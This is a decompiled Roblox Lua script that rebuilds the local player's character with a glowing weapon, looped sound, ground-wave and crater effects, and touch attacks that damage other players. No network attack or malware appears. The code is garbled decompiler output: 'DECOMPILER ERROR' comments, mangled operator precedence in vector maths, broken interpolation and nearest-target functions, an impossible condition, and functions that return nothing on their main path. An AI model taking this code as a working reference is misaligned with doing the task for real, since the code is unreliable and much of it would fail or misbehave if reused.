		---{--------------------        II            -------------------}---
		---{--------------------  A========A   -------------------}---      
		---{--------------------      II             -------------------}---
		---{--------------------      II             -------------------}---
		---{--------------------     W           -------------------}---
		--------------------------------------------------------------------------------------------------------------
		local char = game.Players.LocalPlayer.Character
		local torso = char.Torso
		local hum = char.Humanoid
		local hed = char.Head
		local root = char.HumanoidRootPart
		GroundWave2 = function(target)
			if TorsoColor == BrickColor.new("Royal purple") then
				local wave = Instance.new("Part", torso)
				wave.BrickColor = BrickColor.new("Bright yellow")
				wave.Anchored = true
				wave.CanCollide = false
				wave.Locked = true
				wave.Size = Vector3.new(1, 1, 1)
				wave.TopSurface = "Smooth"
				wave.BottomSurface = "Smooth"
				wave.Transparency = 0.35
				wave.CFrame = target
				wave.Material = "Neon"
				wm = Instance.new("SpecialMesh", wave)
				wm.MeshType = "Sphere"
				local wave5 = Instance.new("Part", torso)
				wave5.BrickColor = BrickColor.new("Really black")
				wave5.Anchored = true
				wave5.CanCollide = false
				wave5.Locked = true
				wave5.Size = Vector3.new(1, 1, 1)
				wave5.TopSurface = "Smooth"
				wave5.BottomSurface = "Smooth"
				wave5.Transparency = 0.35
				wave5.CFrame = target
				wave5.Material = "Neon"
				wm5 = Instance.new("SpecialMesh", wave)
				wm5.MeshType = "Sphere"
				wm5.Scale = Vector3.new(1,1,1)
				local wave2 = Instance.new("Part", torso)
				wave2.BrickColor = BrickColor.new("Really black")
				wave2.Anchored = true
				wave2.CanCollide = false
				wave2.Locked = true
				wave2.Size = Vector3.new(1, 1, 1)
				wave2.TopSurface = "Smooth"
				wave2.BottomSurface = "Smooth"
				wave2.Transparency = 0.35
				wave2.CFrame = target
				wave2.Material = "Neon"
				wm2 = Instance.new("SpecialMesh", wave2)
				wm2.MeshType = "FileMesh"
				wm2.MeshId = "http://www.roblox.com/asset/?id=3270017"
				wm2.Scale = Vector3.new(1,1,1)
				local wave3 = Instance.new("Part", torso)
				wave3.BrickColor = BrickColor.new("Really black")
				wave3.Anchored = true
				wave3.CanCollide = false
				wave3.Locked = true
				wave3.Size = Vector3.new(1, 1, 1)
				wave3.TopSurface = "Smooth"
				wave3.BottomSurface = "Smooth"
				wave3.Transparency = 0
				wave3.CFrame = target
				wave3.Material = "Neon"
				wm3 = Instance.new("SpecialMesh", wave3)
				wm3.MeshType = "FileMesh"
				wm3.MeshId = "http://www.roblox.com/asset/?id=3270017"
				wm3.Scale = Vector3.new(1,1,1)
				coroutine.wrap(function()
					for i = 1, 18, 1 do
						wm.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2+i*1.2)
						wm5.Scale = Vector3.new(2+i*1.1, 2+i*1.1, 2+i*1.1)
						wm2.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
						wm3.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
						--wave.Size = wm.Scale
						wave.CFrame = target
						wave.Transparency = i/14
						--wave.Size
						wave5.CFrame = target
						wave5.Transparency = i/14
						--wave2.Size = wm2.Scale
						wave2.CFrame = target
						wave2.Rotation = Vector3.new(90, 0, 0)
						wave2.Transparency = i/14
						--wave3.Size = wm3.Scale
						wave3.CFrame = target
						wave3.Rotation = Vector3.new(90, 0, 0)
						wave3.Transparency = i/14
						wait()
					end
					wait()
					wave:Destroy()
					wave5:Destroy()
					wave2:Destroy()
					wave3:Destroy()
				end)()
			elseif TorsoColor == BrickColor.new("Royal purple") then
				wait()
			end
		end
		GroundWave = function(target)
			if TorsoColor == BrickColor.new("Royal purple") then
				local wave = Instance.new("Part", torso)
				wave.BrickColor = BrickColor.new("Dark red")
				wave.Anchored = true
				wave.CanCollide = false
				wave.Locked = true
				wave.Size = Vector3.new(1, 1, 1)
				wave.TopSurface = "Smooth"
				wave.BottomSurface = "Smooth"
				wave.Transparency = 0.35
				wave.CFrame = target
				wave.Material = "Neon"
				wm = Instance.new("SpecialMesh", wave)
				wm.MeshType = "Sphere"
				wm.Scale = Vector3.new(1,1,1)
				local wave2 = Instance.new("Part", torso)
				wave2.BrickColor = BrickColor.new("Dark red")
				wave2.Anchored = true
				wave2.CanCollide = false
				wave2.Locked = true
				wave2.Size = Vector3.new(1, 1, 1)
				wave2.TopSurface = "Smooth"
				wave2.BottomSurface = "Smooth"
				wave2.Transparency = 0.35
				wave2.CFrame = target
				wave2.Material = "Neon"
				wm2 = Instance.new("SpecialMesh", wave2)
				wm2.MeshType = "FileMesh"
				wm2.MeshId = "http://www.roblox.com/asset/?id=3270017"
				wm2.Scale = Vector3.new(1,1,1)
				local wave3 = Instance.new("Part", torso)
				wave3.BrickColor = BrickColor.new("Really black")
				wave3.Anchored = true
				wave3.CanCollide = false
				wave3.Locked = true
				wave3.Size = Vector3.new(1, 1, 1)
				wave3.TopSurface = "Smooth"
				wave3.BottomSurface = "Smooth"
				wave3.Transparency = 0.35
				wave3.CFrame = target
				wave3.Material = "Neon"
				wm3 = Instance.new("SpecialMesh", wave3)
				wm3.MeshType = "FileMesh"
				wm3.MeshId = "http://www.roblox.com/asset/?id=3270017"
				wm3.Scale = Vector3.new(1,1,1)
				coroutine.wrap(function()
					for i = 1, 18, 1 do
						wm.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2+i*1.2)
						wm2.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
						wm3.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
						--wave.Size = wm.Scale
						wave.CFrame = target
						wave.Transparency = i/14
						--wave2.Size = wm2.Scale
						wave2.CFrame = target
						wave2.Rotation = Vector3.new(90, 0, 0)
						wave2.Transparency = i/14
						--wave3.Size = wm3.Scale
						wave3.CFrame = target
						wave3.Rotation = Vector3.new(90, 0, 0)
						wave3.Transparency = i/14
						wait()
					end
					wait()
					wave:Destroy()
					wave2:Destroy()
					wave3:Destroy()
				end)()
			elseif TorsoColor == BrickColor.new("Royal purple") then
				wait()
			end
		end
		local p = game.Players.LocalPlayer
		local char = p.Character
		local mouse = p:GetMouse()
		local larm = char["Left Arm"]
		local rarm = char["Right Arm"]
		local lleg = char["Left Leg"]
		local rleg = char["Right Leg"]
		local hed = char.Head
		local torso = char.Torso
		local hum = char.Humanoid
		local cam = game.Workspace.CurrentCamera
		local root = char.HumanoidRootPart
		local rj = root.RootJoint
		local deb = false
		local shot = 0
		local stanceToggle = "Idle1"
		local l = game:GetService("Lighting")
		local rs = game:GetService("RunService").RenderStepped
		local hb = game:GetService("RunService").Heartbeat
		local Stepped = game:GetService("RunService").Stepped
		hed.face.Texture = "rbxassetid://37700586"
		eye2 = Instance.new("Part", workspace)
		eye2.Anchored = false
		eye2.Parent = hed
		eye2.TopSurface = 0
		eye2.BrickColor = BrickColor.new("Royal purple")
		eye2.Material = "Neon"
		eye2.BottomSurface = 0
		eye2m = Instance.new("SpecialMesh", eye2)
		eye2m.MeshId = "rbxassetid://31309506"
		eye2m.TextureId = "rbxassetid://31309468"
		eye2m.Scale = Vector3.new(1.03, 1.05, 1.03)
		ogsize = eye2m.Scale
		weld = Instance.new("Weld", hed)
		weld.Part0 = eye2
		weld.Part1 = hed
		weld.Name = "eye2Weld"
		weld.C1 = CFrame.new(0,.45,0.05)
		local shir = Instance.new("Shirt",char)
		local pan = Instance.new("Pants",char)
		shir.ShirtTemplate = "http://www.roblox.com/asset/?id=83326831"
		pan.PantsTemplate = "http://www.roblox.com/asset/?id=10045638"
		spawn(function()
			while wait() do
				for i,v in pairs(char:GetChildren()) do
					if v:IsA('Part') then
						v.BrickColor = BrickColor.new("Bright yellow")
					end
				end
			end
		end)
		spawn(function()
			while wait(.9) do
				GroundWave2(torso.CFrame)
			end
		end)
		fat = Instance.new("BindableEvent", script)
		fat.Name = "Heartbeat"
		script:WaitForChild("Heartbeat")
		frame = 0.033333333333333
		tf = 0
		allowframeloss = false
		tossremainder = false
		lastframe = tick()
		script.Heartbeat:Fire()
		game:GetService("RunService").Heartbeat:connect(function(s, p)
	
			tf = tf + s
			if frame <= tf then
				if allowframeloss then
					script.Heartbeat:Fire()
					lastframe = tick()
				else
					for i = 1, math.floor(tf / frame) do
						script.Heartbeat:Fire()
					end
					lastframe = tick()
				end
				if tossremainder then
					tf = 0
				else
					tf = tf - frame * math.floor(tf / frame)
				end
			end
		end
		)
		for i,v in pairs(hed:GetChildren()) do
			if v:IsA("Sound") then
				v:Destroy()
			end
		end
		Debounces = {CanAttack = true, CanJoke = true, NoIdl = false, RPunch = false, RPunched = false, LPunch = false, LPunched = false, Slashing = false, Slashed = false, ks = false, ks2 = false}
		weld5 = function(part0, part1, c0, c1)
	
			weeld = Instance.new("Weld", part0)
			weeld.Part0 = part0
			weeld.Part1 = part1
			weeld.C0 = c0
			weeld.C1 = c1
			return weeld
		end
	
		NewPart = function(prnt, siz, cf, trans, anc, mat, col)
	
			local prt = Instance.new("Part")
			prt.Parent = prnt
			prt.Name = "Part"
			prt.Size = siz
			prt.CanCollide = false
			prt.Anchored = anc
			prt.Locked = true
			prt.Transparency = trans
			prt.TopSurface = 10
			prt.BottomSurface = 10
			prt.FrontSurface = 10
			prt.BackSurface = 10
			prt.LeftSurface = 10
			prt.RightSurface = 10
			prt:BreakJoints()
			if not cf then
				prt.CFrame = CFrame.new(30, 10, 30)
				prt.Material = mat
				prt.BrickColor = BrickColor.new(col)
				m = Instance.new("SpecialMesh", prt)
				m.MeshType = 6
				return prt
			end
		end
	
		lerp = function(a, b, t)
	
			return a + (b - a) * t
		end
	
		slerp = function(a, b, t)
	
			dot = a:Dot(b)
			if t > 0.5 or not a then
				do return dot <= 0.99999 and dot >= -0.99999 or b end
				r = math.acos(dot)
				do return (a * math.sin((1 - t) * r) + b * math.sin(t * r)) / math.sin(r) end
			end
		end
	
		matrixInterpolate = function(a, b, t)
	
			local ax, ay, az, a00, a01, a02, a10, a11, a12, a20, a21, a22 = a:components()
			local bx, by, bz, b00, b01, b02, b10, b11, b12, b20, b21, b22 = b:components()
			local v0 = lerp(Vector3.new(ax, ay, az), Vector3.new(bx, by, bz), t)
			local v1 = slerp(Vector3.new(a00, a01, a02), Vector3.new(b00, b01, b02), t)
			local v2 = slerp(Vector3.new(a10, a11, a12), Vector3.new(b10, b11, b12), t)
			local v3 = slerp(Vector3.new(a20, a21, a22), Vector3.new(b20, b21, b22), t)
			local t = v1:Dot(v2)
			if t >= 0 and t ~= 0 and t <= 0 then
				return CFrame.new()
			end
			return CFrame.new(v0.x, v0.y, v0.z, v1.x, v1.y, v1.z, v2.x, v2.y, v2.z, v3.x, v3.y, v3.z)
		end
	
		genWeld = function(a, b)
	
			local w = Instance.new("Weld", a)
			w.Part0 = a
			w.Part1 = b
			return w
		end
	
		weld = function(a, b)
	
			local weld = Instance.new("Weld")
			weld.Name = "W"
			weld.Part0 = a
			weld.Part1 = b
			weld.C0 = a.CFrame:inverse() * b.CFrame
			weld.Parent = a
			return weld
		end
	
		Lerp = function(c1, c2, al)
	
			local com1 = {c1.X, c1.Y, c1.Z, c1:toEulerAnglesXYZ()}
			local com2 = {c2.X, c2.Y, c2.Z, c2:toEulerAnglesXYZ()}
			for i,v in pairs(com1) do
				com1[i] = v + (com2[i] - v) * al
			end
			return CFrame.new(com1[1], com1[2], com1[3]) * CFrame.Angles(select(4, unpack(com1)))
		end
	
		newWeld = function(wp0, wp1, wc0x, wc0y, wc0z)
	
			local wld = Instance.new("Weld", wp1)
			wld.Part0 = wp0
			wld.Part1 = wp1
			wld.C0 = CFrame.new(wc0x, wc0y, wc0z)
		end
	
		newWeld(torso, larm, -1.5, 0.5, 0)
		larm.Weld.C1 = CFrame.new(0, 0.5, 0)
		newWeld(torso, rarm, 1.5, 0.5, 0)
		rarm.Weld.C1 = CFrame.new(0, 0.5, 0)
		newWeld(torso, hed, 0, 1.5, 0)
		newWeld(torso, lleg, -0.5, -1, 0)
		lleg.Weld.C1 = CFrame.new(0, 1, 0)
		newWeld(torso, rleg, 0.5, -1, 0)
		rleg.Weld.C1 = CFrame.new(0, 1, 0)
		newWeld(root, torso, 0, -1, 0)
		torso.Weld.C1 = CFrame.new(0, -1, 0)
		z = Instance.new("Sound", char)
		z.SoundId = "rbxassetid://166164466"
		z.Looped = true
		z.Pitch = 1
		z.Volume = 10
		wait(0.1)
		z:Play()
		New = function(Object, Parent, Name, Data)
	
			local Object = Instance.new(Object)
			if not Data then
				for Index,Value in pairs({}) do
					Object[Index] = Value
				end
				Object.Parent = Parent
				Object.Name = Name
				return Object
			end
		end
	
		part1 = Instance.new("Part", rarm)
		part1.Name = "Arbiter"
		part1.BrickColor = BrickColor.new("Really black")
		part1.CFrame = rarm.CFrame
		part1.Material = "Neon"
		part1.Anchored = false
		part1.CanCollide = false
		part1.Locked = true
		part1.Size = Vector3.new(0.25, 1.05, 5.9)
		mesh1 = Instance.new("SpecialMesh", part1)
		mesh1.MeshType = Enum.MeshType.FileMesh
		mesh1.MeshId = "rbxassetid://10604848"
		mesh1.TextureId = "http://www.roblox.com/asset/?id=10605252"
		mesh1.Scale = Vector3.new(0.5,0.5,0.5)
		local cor = Instance.new("Part", rarm)
		cor.Name = "Thingy"
		cor.Locked = true
		cor.TopSurface = 0
		cor.BottomSurface = 0
		cor.CanCollide = false
		cor.Size = Vector3.new(0.2, 0.2, 0.2)
		cor.Transparency = 1
		corw = Instance.new("Weld", cor)
		corw.Part0 = rarm
		corw.Part1 = cor
		corw.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
		corw.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
		weld1 = Instance.new("Weld", cor)
		weld1.Part0 = cor
		weld1.Part1 = part1
		weld1.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
		weld1.C1 = CFrame.new(0.25, 1, -0.5) * CFrame.Angles(math.rad(-20), math.rad(30), math.rad(90))
		hitb = Instance.new("Part", cor)
		hitb.Name = "Thingy2"
		hitb.Locked = true
		hitb.TopSurface = 0
		hitb.BottomSurface = 0
		hitb.CanCollide = false
		hitb.Size = Vector3.new(4, 1, 3.5)
		hitb.Transparency = 1
		weld4 = Instance.new("Weld", cor)
		weld4.Part0 = hitb
		weld4.Part1 = cor
		weld4.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
		weld4.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
		local animpose = "Idle1"
		local lastanimpose = "Idle1"
		local grab = false
		local Smooth = 1
		local sine = 0
		local change = 1
		local val = 0
		local ffing = false
		mod4 = Instance.new("Model", char)
		ptez = {0.7, 0.8, 0.9, 1}
		FindNearestTorso = function(Position, Distance, SinglePlayer)
	
			if SinglePlayer.Torso.CFrame.p - Position.magnitude >= Distance then
				do return not SinglePlayer end
				do
					local List = {}
					for i,v in pairs(workspace:GetChildren()) do
						if v:IsA("Model") and v:findFirstChild("Torso") and v ~= char and v.Torso.Position - Position.magnitude <= Distance then
							table.insert(List, v)
						end
					end
					do return List end
					-- DECOMPILER ERROR: 3 unprocessed JMP targets
				end
			end
		end
	
		Slam = function()
	
			local part = Instance.new("Part", mod4)
			part.Anchored = true
			part.CanCollide = false
			part.FormFactor = "Custom"
			part.Size = Vector3.new(0.2, 0.2, 0.2)
			part.CFrame = root.CFrame * CFrame.new(0, -2.8, -1.4) * CFrame.Angles(math.rad(90), 0, 0)
			part.Transparency = 0.7
			part.BrickColor = BrickColor.new("Really black")
			mesh = Instance.new("SpecialMesh", part)
			mesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
			mesh.Scale = Vector3.new(3, 3, 3)
			local part2 = Instance.new("Part", mod4)
			part2.Anchored = true
			part2.CanCollide = false
			part2.FormFactor = "Custom"
			part2.Size = Vector3.new(0.2, 0.2, 0.2)
			part2.CFrame = root.CFrame * CFrame.new(0, -2.4, -1.6)
			part2.Transparency = 0.7
			part2.BrickColor = BrickColor.new("Lime green")
			mesh2 = Instance.new("SpecialMesh", part2)
			mesh2.MeshId = "http://www.roblox.com/asset/?id=20329976"
			mesh2.Scale = Vector3.new(3, 1.5, 3)
			x = Instance.new("Sound", larm)
			x.SoundId = "http://www.roblox.com/asset/?id=142070127"
			x.Pitch = ptez[math.random(1, #ptez)]
			x.Volume = 1
			x1 = Instance.new("Sound", larm)
			x1.SoundId = "http://www.roblox.com/asset/?id=206082327"
			x1.Pitch = ptez[math.random(1, #ptez)]
			x1.Volume = 1
			x:Play()
			x1:Play()
			for i,v in pairs(FindNearestTorso(torso.CFrame.p, 4)) do
				if v:FindFirstChild("Humanoid") then
					v.Humanoid.Health = 100
				end
			end
			coroutine.resume(coroutine.create(function()
	
				for i = 0, 0.62, 0.13 do
					fat.Event:wait()
					part.CFrame = part.CFrame
					part.Transparency = i
					mesh.Scale = mesh.Scale + Vector3.new(0.4, 0.4, 0.4)
					part2.CFrame = part2.CFrame
					part2.Transparency = i
					mesh2.Scale = mesh2.Scale + Vector3.new(0.4, 0.2, 0.4)
				end
				part.Parent = nil
				part2.Parent = nil
				x:Destroy()
			end
			))
		end
	
		wPart = function(x, y, z, color, tr, cc, an, parent)
	
			local wp = Instance.new("WedgePart", parent or Weapon)
			wp.formFactor = "Custom"
			wp.Size = Vector3.new(x, y, z)
			wp.BrickColor = BrickColor.new(color)
			wp.CanCollide = cc
			wp.Transparency = tr
			wp.Anchored = an
			wp.TopSurface = 0
			return wp
		end
	
		Mesh = function(par, num, x, y, z)
	
			local msh = _
			if num == 1 then
				msh = Instance.new("CylinderMesh", par)
			else
				if num == 2 then
					msh = Instance.new("SpecialMesh", par)
					msh.MeshType = 3
				else
					if num == 3 then
						msh = Instance.new("BlockMesh", par)
					else
						if num == 4 then
							msh = Instance.new("SpecialMesh", par)
							msh.MeshType = "Torso"
						else
							if type(num) == "string" then
								msh = Instance.new("SpecialMesh", par)
								msh.MeshId = num
							end
						end
					end
				end
			end
			msh.Scale = Vector3.new(x, y, z)
			return msh
		end
	
		local CFrameFromTopBack = function(at, top, back)
	
			local right = top:Cross(back)
			return CFrame.new(at.x, at.y, at.z, right.x, top.x, back.x, right.y, top.y, back.y, right.z, top.z, back.z)
		end
	
		Triangle = function(a, b, c)
	
			local edg1 = c - a:Dot(b - a.unit)
			local edg2 = a - b:Dot(c - b.unit)
			local edg3 = b - c:Dot(a - c.unit)
			if edg1 <= b - a.magnitude and edg1 >= 0 then
				a = a
			else
				-- DECOMPILER ERROR at PC35: Overwrote pending register: R1 in 'AssignReg'
	
				if edg2 <= c - b.magnitude and edg2 >= 0 then
					a = b
				else
					-- DECOMPILER ERROR at PC46: Overwrote pending register: R2 in 'AssignReg'
	
					-- DECOMPILER ERROR at PC47: Overwrote pending register: R1 in 'AssignReg'
	
					if edg3 <= a - c.magnitude and edg3 >= 0 then
						a = c
					else
						print("unreachable")
					end
				end
			end
			local len1 = c - a:Dot(b - a.unit)
			local len2 = b - a.magnitude - len1
			local width = a + b - a.unit * len1 - c.magnitude
			local maincf = CFrameFromTopBack(a, b - a:Cross(c - b).unit, -b - a.unit)
			local list = {}
			if len1 > 0.01 then
				local w1 = wPart(0, 0, 0, "Lime green", 0.5, false, true, char)
				do
					local sz = Vector3.new(0.2, width, len1)
					w1.Size = sz
					local sp = Mesh(w1, 2, 0, 0, 0)
					sp.MeshType = "Wedge"
					sp.Scale = Vector3.new(0, 1, 1) * sz / w1.Size
					w1:BreakJoints()
					w1.Anchored = true
					w1.Transparency = 0.7
					Spawn(function()
	
						for i = 0, 1, 0.1 do
							fat.Event:wait()
							w1.Transparency = w1.Transparency + 0.03
						end
					end
					)
					w1.CFrame = maincf * CFrame.Angles(math.pi, 0, math.pi / 2) * CFrame.new(0, width / 2, len1 / 2)
					table.insert(list, w1)
				end
			end
			do
				if len2 > 0.01 then
					local w2 = wPart(0, 0, 0, "Lime green", 0.5, false, true, char)
					local sz = Vector3.new(0.2, width, len2)
					w2.Size = sz
					local sp = Mesh(w2, 2, 0, 0, 0)
					sp.MeshType = "Wedge"
					sp.Scale = Vector3.new(0, 1, 1) * sz / w2.Size
					w2:BreakJoints()
					w2.Anchored = true
					w2.Transparency = 0.7
					Spawn(function()
	
						for i = 0, 1, 0.1 do
							fat.Event:wait()
							w2.Transparency = w2.Transparency + 0.03
						end
					end
					)
					w2.CFrame = maincf * CFrame.Angles(math.pi, math.pi, -math.pi / 2) * CFrame.new(0, width / 2, -len1 - len2 / 2)
					table.insert(list, w2)
				end
				do
					return unpack(list)
				end
			end
		end
	
		trail = function(p, t, h)
	
			Spawn(function()
	
				local blcf = p.CFrame
				local scfr = blcf
				for i = 1, t do
					local blcf = p.CFrame
					if scfr and p.Position - scfr.p.magnitude > 0.1 then
						local a, b = Triangle(scfr * CFrame.new(0, h / 2, 0).p, scfr * CFrame.new(0, -h / 2, 0).p, blcf * CFrame.new(0, h / 2, 0).p)
						if a then
							game.Debris:AddItem(a, 1)
						end
						if b then
							game.Debris:AddItem(b, 1)
						end
						local a, b = Triangle(blcf * CFrame.new(0, h / 2, 0).p, blcf * CFrame.new(0, -h / 2, 0).p, scfr * CFrame.new(0, -h / 2, 0).p)
						if a then
							game.Debris:AddItem(a, 1)
						end
						if b then
							game.Debris:AddItem(b, 1)
						end
						scfr = blcf
					else
						do
							do
								if not scfr then
									scfr = blcf
								end
								fat.Event:wait()
								-- DECOMPILER ERROR at PC120: LeaveBlock: unexpected jumping out DO_STMT
	
								-- DECOMPILER ERROR at PC120: LeaveBlock: unexpected jumping out IF_ELSE_STMT
	
								-- DECOMPILER ERROR at PC120: LeaveBlock: unexpected jumping out IF_STMT
	
							end
						end
					end
				end
				scfr = nil
			end
			)
		end
	
		rarm.Touched:connect(function(ht)
	
			hit = ht.Parent
			if ht and hit:IsA("Model") and hit:FindFirstChild("Humanoid") and hit.Name ~= p.Name and Debounces.RPunch == true and Debounces.RPunched == false then
				Debounces.RPunched = true
				hit:FindFirstChild("Humanoid"):TakeDamage(math.random(5, 8))
				if Debounces.ks == true then
					z = Instance.new("Sound", hed)
					z.SoundId = "rbxassetid://169380525"
					z.Pitch = ptz[math.random(1, #ptz)]
					z.Volume = 1
					z:Play()
				end
				wait(0.4)
				Debounces.RPunched = false
			end
			if ht and hit:IsA("Hat") and hit.Parent.Name ~= p.Name and hit.Parent:FindFirstChild("Humanoid") and Debounces.RPunch == true and Debounces.RPunched == false then
				Debounces.RPunched = true
				hit.Parent:FindFirstChild("Humanoid"):TakeDamage(math.random(5, 8))
				if Debounces.ks == true then
					z = Instance.new("Sound", hed)
					z.SoundId = "rbxassetid://169380525"
					z.Pitch = ptz[math.random(1, #ptz)]
					z.Volume = 1
					z:Play()
				end
				wait(0.4)
				Debounces.RPunched = false
			end
		end
		)
		larm.Touched:connect(function(ht)
	
			hit = ht.Parent
			if ht and hit:IsA("Model") and hit:FindFirstChild("Humanoid") and hit.Name ~= p.Name and Debounces.LPunch == true and Debounces.LPunched == false then
				Debounces.LPunched = true
				hit:FindFirstChild("Humanoid").Health = 100
				hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -160
				if Debounces.ks2 == true then
					z = Instance.new("Sound", hed)
					z.SoundId = "rbxassetid://169380525"
					z.Pitch = ptz[math.random(1, #ptz)]
					z.Volume = 1
					z:Play()
				end
				wait(0.4)
				Debounces.LPunched = false
			end
			if ht and hit:IsA("Hat") and hit.Parent.Name ~= p.Name and hit.Parent:FindFirstChild("Humanoid") and Debounces.LPunch == true and Debounces.LPunched == false then
				Debounces.LPunched = true
				hit.Parent:FindFirstChild("Humanoid").Health = 100
				if Debounces.ks2 == true then
					z = Instance.new("Sound", hed)
					z.SoundId = "rbxassetid://169380525"
					z.Pitch = ptz[math.random(1, #ptz)]
					z.Volume = 1
					z:Play()
				end
				wait(0.4)
				Debounces.LPunched = false
			end
		end
		)
		local acos = math.acos
		local sqrt = math.sqrt
		local Vec3 = Vector3.new
		local fromAxisAngle = CFrame.fromAxisAngle
		local toAxisAngle = function(CFr)
	
			local X, Y, Z, R00, R01, R02, R10, R11, R12, R20, R21, R22 = CFr:components()
			local Angle = math.acos((R00 + R11 + R22 - 1) / 2)
			local A = R21 - R12 ^ 2 + R02 - R20 ^ 2 + R10 - R01 ^ 2
			if A ~= 0 or not 1e-05 then
				local B = R21 - R12 ^ 2 + R02 - R20 ^ 2 + R10 - R01 ^ 2
				if B ~= 0 or not 1e-05 then
					local C = R21 - R12 ^ 2 + R02 - R20 ^ 2 + R10 - R01 ^ 2
					if C ~= 0 or not 1e-05 then
						local x = (R21 - R12) / sqrt(A)
						local y = (R02 - R20) / sqrt(B)
						local z = (R10 - R01) / sqrt(C)
						return Vec3(x, y, z), Angle
					end
				end
			end
		end
	
		ApplyTrig = function(Num, Func)
	
			local Min, Max = Func(0), Func(1)
			local i = Func(Num)
			return (i - Min) / (Max - Min)
		end
	
		LerpCFrame = function(CFrame1, CFrame2, Num)
	
			local Vec, Ang = toAxisAngle(CFrame1:inverse() * CFrame2)
			return CFrame1 * fromAxisAngle(Vec, Ang * Num) + (CFrame2.p - CFrame1.p) * Num
		end
	
		Crater = function(Torso, Radius)
	
			Spawn(function()
	
				local Ray = Ray.new(Torso.Position, Vector3.new(0, -1, 0) * 10)
				local Ignore = {}
				for i,v in pairs(game:GetService("Players"):GetPlayers()) do
					if v.Character ~= nil then
						Ignore[#Ignore + 1] = v.Character
					end
				end
				local Hit, Pos, SurfaceNorm = Workspace:FindPartOnRayWithIgnoreList(Ray, Ignore)
				if Hit == nil then
					return 
				end
				local Parts = {}
				for i = 1, 360, 10 do
					local P = Instance.new("Part", Torso.Parent)
					P.Anchored = true
					P.FormFactor = "Custom"
					P.BrickColor = Hit.BrickColor
					P.Material = Hit.Material
					P.TopSurface = "Smooth"
					P.BottomSurface = "Smooth"
					P.Size = Vector3.new(5, 10, 10) * (math.random(80, 100) / 100)
					P.CFrame = (CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) - Vector3.new(0, 7, 0)) * CFrame.Angles(math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)))
					Parts[#Parts + 1] = {P, P.CFrame, (CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) - Vector3.new(0, 1, 0)) * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -Radius) * CFrame.Angles(math.rad(math.random(-50, -20)), math.rad(math.random(-15, 15)), math.rad(math.random(-15, 15))), P.Size}
					if math.random(0, 5) == 0 then
						local P = Instance.new("Part", Torso.Parent)
						P.Anchored = true
						P.FormFactor = "Custom"
						P.BrickColor = Hit.BrickColor
						P.Material = Hit.Material
						P.TopSurface = "Smooth"
						P.BottomSurface = "Smooth"
						P.Size = Vector3.new(2, 2, 2) * (math.random(80, 100) / 100)
						P.CFrame = (CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) - Vector3.new(0, 2.5, 0)) * CFrame.Angles(math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)), math.rad(math.random(-50, 50)))
						Parts[#Parts + 1] = {P, P.CFrame, CFrame.new(Pos, Pos + SurfaceNorm) * CFrame.Angles(math.rad(90), 0, 0) * CFrame.Angles(0, math.rad(i), 0) * CFrame.new(0, 0, -Radius - 8) * CFrame.Angles(math.rad(math.random(-90, 90)), math.rad(math.random(-90, 90)), math.rad(math.random(-90, 90))), P.Size}
					end
				end
				for i = 0, 1, 0.05 do
					for i2,v in pairs(Parts) do
						v[1].CFrame = LerpCFrame(v[2], v[3], ApplyTrig(i, math.cos))
					end
					wait(0.02)
				end
				for i,v in pairs(Parts) do
					if v[1].Size.X > 2.1 then
						v[1].CFrame = v[1].CFrame + Vector3.new(0, 2, 0)
					end
					v[1].Anchored = false
				end
				for i = 0, 1, 0.05 do
					for i2,v in pairs(Parts) do
						v[1].Transparency = i
						if i == 1 then
							v[1]:Destroy()
						else
							if i >= 0.25 then
								v[1].CanCollide = false
							end
						end
					end
					wait(0.02)
				end
				Parts = nil
			end
			)
		end
	
		function Dmg()
			local partofdeath = hitb
			local function CreateRegion3FromLocAndSize(Position, Size)
				local SizeOffset = Size/2
				local Point1 = Position - SizeOffset
				local Point2 = Position + SizeOffset
				return Region3.new(Point1, Point2)
			end
			local reg = CreateRegion3FromLocAndSize(partofdeath.Position, partofdeath.Size)
			for i, v in pairs(game.Workspace:FindPartsInRegion3WithIgnoreList(reg, char:GetChildren(), 100)) do
				Spawn(function()
					if Debounces.Slashing == true and Debounces.Slashed == false then
						Debounces.Slashed = true
						ypcall(function()
							local humanoid = v.Parent:FindFirstChild("Humanoid") or v.Parent.Parent:FindFirstChild("Humanoid")
							GroundWave(v.Parent.Torso.CFrame)
							humanoid.Health = humanoid.Health
						
						end)
						wait(.4)
						Debounces.Slashed = false
					end
				end)
			end
		end
	
		pts = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1}
		ptz = {0.7, 0.8, 0.9, 1, 1.1}
		part1.Transparency = 0
		attackone = function()
	
			for i = 1, 10 do
				corw.C0 = Lerp(corw.C0, CFrame.new(-0.5, -1.5, -0.5) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(150)), 0.4)
				corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, -0.5) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-24)), 0.4)
				rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.3, 0.5, -0.4) * CFrame.Angles(math.rad(120), math.rad(0), math.rad(10)), 0.5)
